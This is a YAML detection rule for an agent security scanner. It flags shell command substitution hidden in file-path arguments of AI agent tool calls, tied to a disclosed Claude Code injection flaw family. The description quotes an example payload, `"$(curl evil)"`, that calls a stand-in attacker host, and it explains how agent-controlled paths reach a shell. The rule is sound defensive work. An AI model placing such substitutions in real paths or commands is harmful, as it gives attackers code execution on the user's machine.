title: Claude Code Shell Metacharacter in Double-Quoted File Path
id: ATR-2026-00526
rule_version: 1
status: stable
description: |
  Detects the CVE-2026-35021/35020/35022 family in Claude Code CLI and Claude Agent SDK (disclosed 2026-05-15, CVSS 8.4). The root cause is POSIX §2.2.3 — `$()` command substitution and backtick command substitution remain active inside double quotes. In Claude Code's `promptEditor.ts`, file paths from agent-controlled context were interpolated into double-quoted shell arguments passed to `execSync`, letting a path like `"$(curl evil)"` execute attacker code. Generalizes beyond Claude Code: any agent that double-quote-wraps a user/agent-controlled file path before passing to a shell tool inherits this RCE primitive. The detection target is a path-shaped argument containing a `$(...)` or backtick command substitution inside double quotes.
author: ATR Community (cve-pipeline)
date: 2026/05/23
schema_version: '0.1'
detection_tier: pattern
maturity: test
severity: critical
references:
  owasp_llm:
    - LLM05:2025
    - LLM06:2025
  owasp_agentic:
    - ASI05:2026
  mitre_atlas:
    - AML.T0053 - AI Agent Tool Invocation
compliance:
  owasp_agentic:
    - id: ASI05:2026
      context: |
        The pattern matches path-shaped key/value arguments in the input (file_path, filename, path, source, target, destination and similar keys) whose quoted value holds $(...) or backtick command substitution, the shell injection behind CVE-2026-35020, 35021 and 35022. ASI05:2026 covers agent tool access escalated into code execution on the host; the substitution runs attacker commands if the path reaches a shell.
      strength: primary
  owasp_llm:
    - id: LLM06:2025
      context: |
        LLM06:2025 Excessive Agency: the agent has shell execution capability and accepts adversary-influenced path arguments, producing unintended code execution.
      strength: primary
  eu_ai_act:
    - article: '15'
      context: |
        Article 15 robustness against manipulation requires defending against this specific shell metacharacter bypass class.
      strength: primary
    - article: '9'
      context: Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the tool-poisoning technique (Claude Code Shell Metacharacter in Double-Quoted File Path).
      strength: secondary
  nist_ai_rmf:
    - function: Manage
      subcategory: MG.2.3
      context: |
        MG.2.3 runtime risk treatment — detecting the metacharacter shape blocks the exploit before shell execution.
      strength: primary
    - subcategory: MS.2.7
      context: NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the tool-poisoning technique (Claude Code Shell Metacharacter in Double-Quoted File Path).
      strength: primary
    - subcategory: MG.3.2
      context: NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the tool-poisoning technique (Claude Code Shell Metacharacter in Double-Quoted File Path).
      strength: secondary
  iso_42001:
    - clause: '8.4'
      context: |
        AIMS impact assessment for AI tool integrations must cover path-injection RCE; this rule is the detection control.
      strength: primary
    - clause: '8.1'
      context: ISO/IEC 42001 Clause 8.1 (operational planning and control, including control of externally provided processes) is operationalised by this rule's detection of the tool-poisoning technique (Claude Code Shell Metacharacter in Double-Quoted File Path).
      strength: primary
    - clause: '8.3'
      context: ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the tool-poisoning technique (Claude Code Shell Metacharacter in Double-Quoted File Path) as a treatment control.
      strength: secondary
tags:
  category: tool-poisoning
  subcategory: path-command-substitution
  scan_target: llm_io
  confidence: high
  source: cve-disclosure
  vendor_sources: anthropic-claude-code
agent_source:
  type: llm_io
  framework:
    - any
  provider:
    - any
detection:
  conditions:
    - field: user_input
      operator: regex
      value: (?<![A-Za-z_])(?:file_?path|filename|input_file|output_file|target_file|source_file|file|path|source|destination|target)["']?\s*[:=]\s*["'][^"']{0,500}(?:\$\([^)]{1,300}\)|`[^`]{1,300}`)
      description: |
        Path-shaped argument key (file_path / filename / path / source / target / input_file / output_file / destination) bound via : or = to a string literal containing $(...) command substitution OR backtick substitution within a quoted value (≤500 char path body, ≤300 char substitution body). Hits the Claude Code regression fixture shape and generalizes to any agent tool that constructs double-quoted path arguments.
  condition: any
  false_positives:
    - Documentation showing $() syntax in unrelated context (e.g., env var examples) when not paired with a path-shaped key.
    - Shell tutorials that show `path="$(pwd)"` as a teaching example — these may match. Recommend pairing with execution-context confirmation in downstream agent runtimes.
    - Code review comments quoting vulnerable patterns for analysis purposes — match expected; the rule fires on disclosure context.
response:
  actions:
    - block_input
    - alert
    - snapshot
  auto_response_threshold: critical
  message_template: |
    [ATR-2026-00526] Shell metacharacter in agent-controlled file path argument detected (CVE-2026-35021/35020/35022 family). Tool call blocked. Audit calling agent for over-trusted path inputs.
confidence: 88